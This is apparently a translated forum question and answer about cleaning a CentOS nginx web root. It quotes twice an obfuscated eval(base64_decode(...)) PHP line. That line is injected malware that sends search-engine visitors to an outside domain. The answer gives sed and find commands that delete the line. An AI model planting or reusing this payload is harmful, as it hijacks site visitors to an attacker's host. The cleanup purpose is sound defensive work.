CentOS: searches for and deletes specified characters.

Help me write a file *. sh: The Search PHP file in the search directory usrsharenginxhtml contains the following code and deletes this code: {code ...} help me write a file *. sh: The Search PHP file under the/usr/share/nginx/html/directory contains the following code and deletes the Code:

eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9tbnNiZm9hLmRkbnMubWUudWsvIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));

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For help, write a *. sh file. The search directory/usr/share/nginx/html/contains the following code and deletes the Code:

eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9tbnNiZm9hLmRkbnMubWUudWsvIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));

Includeeval(base64_decodeAll are deleted, and normal PHP files won't do the same:

With zsh:

sed -i~ '/eval(base64_decode/d' /usr/share/nginx/html/**/*.php

This is the only way to do this:

find /usr/share/nginx/html -name '*.php' -print0 | xargs -0 sed -i~ '/eval(base64_decode/d'